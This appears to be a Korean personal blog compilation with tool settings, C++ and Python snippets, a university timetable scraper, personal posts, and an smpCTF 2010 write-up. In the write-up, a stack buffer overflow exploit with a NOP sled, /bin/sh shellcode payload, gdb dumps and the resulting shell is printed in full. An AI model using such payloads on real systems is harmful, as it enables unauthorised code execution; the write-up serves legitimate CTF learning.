SourceGear Diff Merge

아라시스 머지 보다 좋다길래!! http://www.sourcegear.com/diffmerge/index.html

 

TortoiseSVN Setting

Diff Viewer

path\DiffMerge.exe /t1=Mine /t2=Original %mine %base

Merge Tool

path\DiffMerge.exe /t1=Mine /t2=Base /t3=Theirs /r=%merged %mine %base %theirs

Visual Studio - AnkhSVN
DiffExePath

C:\Program Files\SourceGear\DiffMerge\DiffMerge.exe "%base" "%mine" /t1="Base version" /t2="My version"
MergeExePath

C:\Program Files\SourceGear\DiffMerge\DiffMerge.exe "%base" "%theirs" "%mine" /r="%merged" /t1="Base version" /t2="Their version" /t3="My version"

vimdiff

사용법

gvim.exe -d %1 %2
vim 안에서
:diffs another.c
:diffget
:diffset

do – 다른 윈도우의 변경 사항을 현재 윈도우로 가져오기
dp – 현재 윈도우의 변경 사항을 다른 윈도우로 넣기
]c – 다음 변경 사항으로 이동
[c – 이전 변경 사항으로 이동
Ctrl W + Ctrl W – 다른 윈도우로 이동

Binary To Decimal(Decimal To Binary) using Template Metaprogramming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
using namespace std;
 
/**
 * @brief binary to decimal 
 */
 
template <unsigned long N>;
struct binary
{
	static unsigned const value = binary<N/10>::value * 2 + N%10;
};
 
///< template specialization
template<>
struct binary<1>
{
	static unsigned const value = 1;
};
 
/**
 * @brief binary to decimal 
 */
template<unsigned long long int N>;
struct decimal
{
	static unsigned const value = decimal<N/2>::value * 10 + N%2;
};
 
template<>
struct decimal<0>
{
	static unsigned const value = 0;
};
 
 
 
/**
 * @brief main function
 */
int main()
{
	unsigned const one = binary<1>::value;
	unsigned const three = binary<11>::value;
	unsigned const five = binary<101>::value;
	unsigned const nine = decimal<9>::value;
	cout << one << "\n";
	cout << three << "\n";
	cout << five  << "\n";
	cout << nine  << "\n";
 
	&nbsp;&nbsp;&nbsp; return 0;
}

HIWORD, LOWORD

 

#define HIWORD(double_word) ((WORD) (((DWORD) (double_word) >> 16) & 0xFFFF)) 

#define LOWORD(double_word) ((WORD) (double_word))

도메인 만료

도메인 만료가 한달 남았다는 메일이 왔는데 이거참 일년동안 블로깅을 거의 안해서리 어찌해야될지를 모르겠음 ㅜㅜ

블로그 말고 다른 방향을 모색해 봐야 할듯

Recent I am reading the book.

Someday ago I read the book, "Bad samarians" written by Jang Ha-jun. Recent He published the new one. The name is the "23 things they don't tell you about Capitalism". I think this book is similar to another one. But I wonder more curious things in this book. When I done, I will post the review about this book. Ps. My first posting using English. because this appllication that in the N900 can't support the korean input. :(

N900

Test using n900, n900 is awesome. it is not a smart phone, linux machine!!!! just coooooool

python으로 부경대학교 시간표 받아오기

학교 홈페이지의 가장 큰 단점은 역시나 플래쉬…….

스마트 폰 및 리눅스에서 시간표및 기타 정보를 얻기가 너무 힘들어

관련 데이터들을 받아오는 라이브러리를 만들어 보았습니다.

딱히 한 작업은 없고 그냥 로그인해서 데이터들만 파싱한거 밖에 없습니다.

그 첫번째로 시간표를 받아 오는 작업을 구현했습니다.

파이썬으로 작업했으며 __main__은 간략한 예제를 구현한 것입니다.

#-*- encoding: utf-8 -*-
 
__authour__ = "jonghak, choi"
__license__ = "GPLv3"
__version__ = "0.7"
 
 
import httplib
import urllib
 
 
_url = 'portal.pknu.ac.kr:8080'
_dir1 = "/onestop_asp/hsa/source/hsa10/search_modify.asp"
_dir2 = "/onestop_asp/hsa/source/hsa10/hsa10.asp"
 
format_time = ( '09:00', '09:30',			# 1
		'10:00', '10:30',			# 2
		'11:00', '11:30',			# 3
		'12:00', '12:30',			# 4
		'13:00', '13:30',			# 5
		'14:00', '14:30',			# 6
		'15:00', '15:30',			# 7
		'16:00', '16:30',			# 8
		'17:00', '17:30',			# 9
		'18:00', '18:30',			# night
		'19:25', '20:20', '21:20')	# night
 
day = {1:"mon",
	2:"tue",
	3:"wed",
	4:"thu",
	5:"fri",
	6:"sat"}
 
class pknuTimetable:
	"""
		[*] usage: 
			tt= pknuTimetable(id, password)
			tt.printday(day) ##day: mon, tue, wed ..... to sat 
	"""
	def __init__(self, id, pw):
		self.params = urllib.urlencode({
			'id':id,
			'pw':pw,
			'submit':'확인'})
		self.header = {"Content-type": "application/x-www-form-urlencoded",
				"Accept": "text/plain"}
 
	def _connect(self):
		self.con = httplib.HTTPConnection(_url)
 
	def _disconnect(self):
		self.con.close()
 
	def _getCookie(self):
		self._connect()
		self.con.request("POST", _dir1, self.params, self.header)
		cookie = self.con.getresponse().getheader('set-cookie').split(' ')
		new_cookie = cookie[0]+ ' ' + cookie[2][:-1]
		self._disconnect()
		return new_cookie
 
	def getTimeTable(self):
		self._connect()
		self.header['Cookie'] = self._getCookie()
		self.con.request("GET", _dir2, headers=self.header)
		html_timetable = self.con.getresponse().read()
		self._disconnect()
		return html_timetable
 
	def readTimetable(self, html):
		patern=("""<td width="100">""","""<td width="110">""","</td>")
		l = len(patern[0])
		lines = html.split('\n')
		data = []
 
		for line in lines:
			pos = line.find(patern[0])
			if pos is not -1:
				time = line[pos+l : line.find(patern[2])]
				data.append(time)	
			else:
				pos = line.find(patern[1])
				if pos is not -1:
					subject = line[pos+l : line.find(patern[2])]
					data.append(subject)
 
		return data
 
	def dataToTime(self, datas):
		"""
			timetable[time] =
			[subject, place] * 5
		"""
		timetable = {}
		for i in range(0, len(datas), 7):
			week = {}
			for j in range(1,7):
				if datas[i+j] == " ":
					subject = ''
				else:
					subject = datas[i+j].split("<br>")
				week[day[j]] = subject
 
			timetable[datas[i]] = week
 
		return timetable
 
	def printDay(self, day, timetable):
		print '============',day,'=============='
		for t in format_time:
			try:
				if timetable[t][day] == '':
					print t
				else:
					print t,":", timetable[t][day][0],"at",timetable[t][day][1]
			except:
				pass
 
 
if __name__ == '__main__':
	tt = pknuTimetable('2004xxxxx', 'password')
	time_subject =  tt.readTimetable(tt.getTimeTable())
	timetable =  tt.dataToTime(time_subject)
	tt.printDay("wed", timetable)

c++ Overloading

오늘 오후에 후배의 질문 이있어서 간략하게 나마 답변을 달려고 합니다.

물론 아래 내용이 100% 정확한 것이 아니며 오용하는 단어도 있기 때문에 개념만 이해한다고 생각하고 읽어주세요.

객체지향을 배우면서 가장 많이 따라다니는 용어 중 하나가 오버로딩(Overloading) 이죠.

비슷한 용어로 오버라이딩(Overriding)이라는 용어도 있는데요. 용어가 비슷해 헷갈리는 경우가 많을 겁니다(나만 그런가 ㅡㅡ;)

먼저 오버로딩에 대해서 알아보도록 하지용~ C 프로그램을 생성하다가 이런의문을 가질때가 있을겁니다. 왜 똑같은 기능을 하는 함수인데 인자가 달라지면 또 다른 함수를 만들어야 하나?

C++에서는 함수를 구분할 때 함수이름 + 매개변수를 이용하여 만들기 때문에(이걸 전문용어로 네임 맹글링(Name Mangling) 이라하죠) 같은 함수이름과 다른 매개변수로된 함수의 선언/구현이 가능해 집니다.

그리고 우리는 이를 Overloading이라고 명명해서 사용하는거죠~ 이러한 네임 맹글링 때문에 C++ 에서는 Default Arguments(기본 연산자)라는 것도 사용 할 수 있습니다. 하지만 C Compiler에서는 이러한 네임 맹글링을 지원하지 않기 때문에 같은 이름의 함수를 만들지 못하는 거죠.

아래와 같은 예제 코드를 보겠습니다.

// overloading.cpp : Defines the entry point for the console application.//
 
#include "stdafx.h"
#include <iostream>
using namespace std;
 
void foo(void)
{
    cout << "No parameter!" << endl;
}
 
void foo(char* s)
{
    cout << "Prameter : String\n" << s << endl;
}
 
void foo(int i)
{
    cout << "Parameter : int\n" << i << endl;
}
int _tmain(int argc, _TCHAR* argv[])
{
    foo();
    foo("hi");
    foo(4);
    return 0;
}

Result:

No parameter!

Prameter : String hi

Parameter : int 4

메인에서 보듯이 똑같은 함수들을 매개변수만 달리해서 사용이 가능합니다.

 

이러한 기법은 함수 뿐 아니라 생성자, 연산자 에 대해서도 사용할 수 있습니다. 그럼 모두 즐거운 프로그래밍 :)

smpCTF 2010 Challenge 8 Write-up

/*============================================
 * Writes up For Challenge 8 smpCTF
 * Author : haginara(jonghak Choi)
 * Type : Buffer overflow
 * Data : Jul 12, 2010
 *===========================================*/

문제는 argument를 주었을 때 ls -al 에 이어 붙여서 실행을 하게 되어 있습니다.
예를 들면
./challenge8_bin * 이라고 입력하면
-rwxr-xr-x  1 root root 7219  7월  9 23:40 challenge8_bin
다음과 같은 결과를 보여줍니다.
처음에는 ls 명령어를 만들어서 다른 행위를 하게끔 할려고 시도하였으나
그건 아니였다. 그 후 overflow에 대해 공격을 시도해보았습니다.

Focus

1. strncat을 이용해 sfp(saved frame pointer)를 조작할 수 있습니다.
2. command[strlen(command)] = 0; 때문에 길이 조절을 잘 해야 합니다.
3. main()의 프롤로그에서 ebp의 변조를 보호하고 있기 때문에 이를 우회하여야 합니다.

— Disassemble the Function——————————————————-
(gdb) disas main
Dump of assembler code for function main:
0×08048521 <main+0>:    lea    0×4(%esp),%ecx
0×08048525 <main+4>:    and    $0xfffffff0,%esp
0×08048528 <main+7>:    pushl  0xfffffffc(%ecx)
0x0804852b <main+10>:    push   %ebp
0x0804852c <main+11>:    mov    %esp,%ebp
0x0804852e <main+13>:    push   %ecx
0x0804852f <main+14>:    sub    $0×14,%esp
0×08048532 <main+17>:    mov    %ecx,0xfffffff4(%ebp)
0×08048535 <main+20>:    mov    0xfffffff4(%ebp),%eax
0×08048538 <main+23>:    cmpl   $0×1,(%eax)
0x0804853b <main+26>:    jg     0x804855f <main+62>
0x0804853d <main+28>:    mov    0xfffffff4(%ebp),%edx
0×08048540 <main+31>:    mov    0×4(%edx),%eax
0×08048543 <main+34>:    mov    (%eax),%eax
0×08048545 <main+36>:    sub    $0×8,%esp
0×08048548 <main+39>:    push   %eax
0×08048549 <main+40>:    push   $0x804865c
0x0804854e <main+45>:    call   0x80483b4 <__gmon_start__@plt+96>
0×08048553 <main+50>:    add    $0×10,%esp
0×08048556 <main+53>:    movl   $0×0,0xfffffff8(%ebp)
0x0804855d <main+60>:    jmp    0x804857d <main+92>
0x0804855f <main+62>:    mov    0xfffffff4(%ebp),%edx
0×08048562 <main+65>:    mov    0×4(%edx),%eax
0×08048565 <main+68>:    add    $0×4,%eax
0×08048568 <main+71>:    mov    (%eax),%eax
0x0804856a <main+73>:    sub    $0xc,%esp
0x0804856d <main+76>:    push   %eax
0x0804856e <main+77>:    call   0×8048494 <callme>
0×08048573 <main+82>:    add    $0×10,%esp
0×08048576 <main+85>:    movl   $0×0,0xfffffff8(%ebp)
0x0804857d <main+92>:    mov    0xfffffff8(%ebp),%eax
0×08048580 <main+95>:    mov    0xfffffffc(%ebp),%ecx
0×08048583 <main+98>:    leave  
0×08048584 <main+99>:    lea    0xfffffffc(%ecx),%esp
0×08048587 <main+102>:    ret   

Dump of assembler code for function callme:
0×08048494 <callme+0>:    push   %ebp
0×08048495 <callme+1>:    mov    %esp,%ebp
0×08048497 <callme+3>:    sub    $0×118,%esp
0x0804849d <callme+9>:    sub    $0×4,%esp
0x080484a0 <callme+12>:    push   $0×103
0x080484a5 <callme+17>:    push   $0×8048650
0x080484aa <callme+22>:    lea    0xfffffefc(%ebp),%eax
0x080484b0 <callme+28>:    push   %eax
0x080484b1 <callme+29>:    call   0×8048374 <__gmon_start__@plt+32>
0x080484b6 <callme+34>:    add    $0×10,%esp
0x080484b9 <callme+37>:    sub    $0×4,%esp
0x080484bc <callme+40>:    push   $0×103
0x080484c1 <callme+45>:    pushl  0×8(%ebp)
0x080484c4 <callme+48>:    lea    0xfffffefc(%ebp),%eax
0x080484ca <callme+54>:    push   %eax
0x080484cb <callme+55>:    call   0x80483c4 <__gmon_start__@plt+112>
0x080484d0 <callme+60>:    add    $0×10,%esp
0x080484d3 <callme+63>:    lea    0xfffffefc(%ebp),%eax
0x080484d9 <callme+69>:    mov    (%eax),%al
0x080484db <callme+71>:    test   %al,%al
0x080484dd <callme+73>:    je     0x80484f9 <callme+101>
0x080484df <callme+75>:    sub    $0xc,%esp
0x080484e2 <callme+78>:    lea    0xfffffefc(%ebp),%eax
0x080484e8 <callme+84>:    push   %eax
0x080484e9 <callme+85>:    call   0x80483a4 <__gmon_start__@plt+80>
0x080484ee <callme+90>:    add    $0×10,%esp
0x080484f1 <callme+93>:    movb   $0×0,0xfffffefc(%ebp,%eax,1)
0x080484f9 <callme+101>:    sub    $0xc,%esp
0x080484fc <callme+104>:    lea    0xfffffefc(%ebp),%eax
0×08048502 <callme+110>:    push   %eax
0×08048503 <callme+111>:    call   0×8048364 <__gmon_start__@plt+16>
0×08048508 <callme+116>:    add    $0×10,%esp
0x0804850b <callme+119>:    test   %eax,%eax
0x0804850d <callme+121>:    jns    0x804851f <callme+139>
0x0804850f <callme+123>:    sub    $0xc,%esp
0×08048512 <callme+126>:    push   $0×8048658
0×08048517 <callme+131>:    call   0×8048394 <__gmon_start__@plt+64>
0x0804851c <callme+136>:    add    $0×10,%esp
0x0804851f <callme+139>:    leave 
0×08048520 <callme+140>:    ret   
End of assembler dump.
——————————————————————————————————————-

Attack

1. sfp 덮어쓰기
strncpy(command, "ls -al ", 259);
strncat(command, src, 259);
266 = 7+259 (byte)의 공간을 이용할수 있으며 버퍼는 260 byte 만큼 할당되어있습니다. 즉,
우리는 6byte의 여유공간을 얻을 수 있습니다.
다행히도 buffer와 sfp 사이에 dummy가 존재 하지 않기 때문에 sfp를 덮어 씌울수 있는
공간은 확보하였습니다.

Payload
[ls -al ][dummy][sfp]

2. 메모리 주소 맞추기 : 0xXXXXXX00
command[strlen(command)] = 0;
위 명령 때문에 264byte를 이용해 sfp를 채우면 ret 주소 한 바이트가 0으로 덮어 씌워지게 됩니다.
그래서 우리는 sfp의 주소 마지막 바이트가 0 인 주소에 원하는 값(shellcode)를 놔두기로 했습니다.
수정된 Payload
[ls -al ][dummy][sfp(has 0)]

3.
main()의 프롤로그에서 ebp의 변조를 보호하고 있기 때문에 이를 우회하여야 합니다.
—Prologue—————————————————————
0×08048521 <main+0>:    lea    0×4(%esp),%ecx
0×08048525 <main+4>:    and    $0xfffffff0,%esp
0×08048528 <main+7>:    pushl  -0×4(%ecx)
0x0804852b <main+10>:    push   %ebp
0x0804852c <main+11>:    mov    %esp,%ebp
0x0804852e <main+13>:    push   %ecx
——————————————————————————

—Epilogue————————————————————–
0×08048576 <main+85>:    movl   $0×0,-0×8(%ebp)
0x0804857d <main+92>:    mov    -0×8(%ebp),%eax
0×08048580 <main+95>:    mov    -0×4(%ebp),%ecx
0×08048583 <main+98>:    leave 
0×08048584 <main+99>:    lea    -0×4(%ecx),%esp
0×08048587 <main+102>:    ret  
——————————————————————————

에필로그를 보면 eip의 값을 보호 하기 위하여 -0×4(%ecx) 에서 값을 가져와 esp에 넣는 것을 알수 있다.
Starting program: /usr/smp/challenge8/challenge8_bin `python -c "print '\x90'*177+'\x04\xf3\xff\xbf'+'\x04\xf3\xff\xbf'+'\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31

\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'a'*23+'\x00'+'\xff\xf3\xff\xbf'"`

Breakpoint 2, 0×08048502 in callme ()
(gdb) x/32x $esp
0xbffff224:    0xbffff584    0×00000103    0xbffff248    0xf63d4e2e
0xbffff234:    0xb7fd1000    0x07b1ea71    0×00000003    0xb7e74cfc
0xbffff244:    0x2d20736c    0x90206c61    0×90909090    0×90909090
0xbffff254:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff264:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff274:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff284:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff294:    0×90909090    0×90909090    0×90909090    0×90909090
(gdb)
0xbffff2a4:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff2b4:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff2c4:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff2d4:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff2e4:    0×90909090    0×90909090    0×90909090    0×90909090
0xbffff2f4:    0×90909090    0×90909090    0xbffff304    0xbffff304
0xbffff304:    0x31b0c031    0xc18980cd    0xc031c389    0x80cd46b0
0xbffff314:    0x6850c031    0x68732f2f    0x69622f68    0x50e3896e
(gdb)
0xbffff324:    0x31e18953    0xcd0bb0d2    0×61616180    0×61616161
0xbffff334:    0×61616161    0×61616161    0×61616161    0×61616161
0xbffff344:    0xbffff3ff    0xbffff300    0×08048573    0xbffff584
0xbffff354:    0x0804975c    0xbffff368    0×08048340    0xff0a0000
0xbffff364:    0x0804975c    0xbffff388    0xbffff390    0xb7fefec0
0xbffff374:    0xbffff390    0xbffff3e8    0xb7e876a5    0x080485a0
0xbffff384:    0x080483e0    0xbffff3e8    0xb7e876a5    0×00000002
0xbffff394:    0xbffff414    0xbffff420    0xb7fd12d8    0×00000001

 

Result

./challenge8_bin `python -c "print '\x90'*177+'\x04\xf3\xff\xbf'+'\x04\xf3\xf3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0f'"`d\x80'+'a'*23+'\x00'+'\xff\xf3\xff\xb 
ls: cannot access
         ?aaaaaaaaaaaaaaaaaaaaaaa?? No such file or directory
sh-3.1$ id
uid=1010(challenge8) gid=102(smpctf) groups=102(smpctf),103(levels)
sh-3.1$ ls
README    challenge8_bin
sh-3.1$ cat .smpFLAG
Challenge Key: 1b8e2684
Flag: WHENuGETthisFLAGpmBLAin#IOandTALKsomeSHIT
sh-3.1$

이 글은 스프링노트에서 작성되었습니다.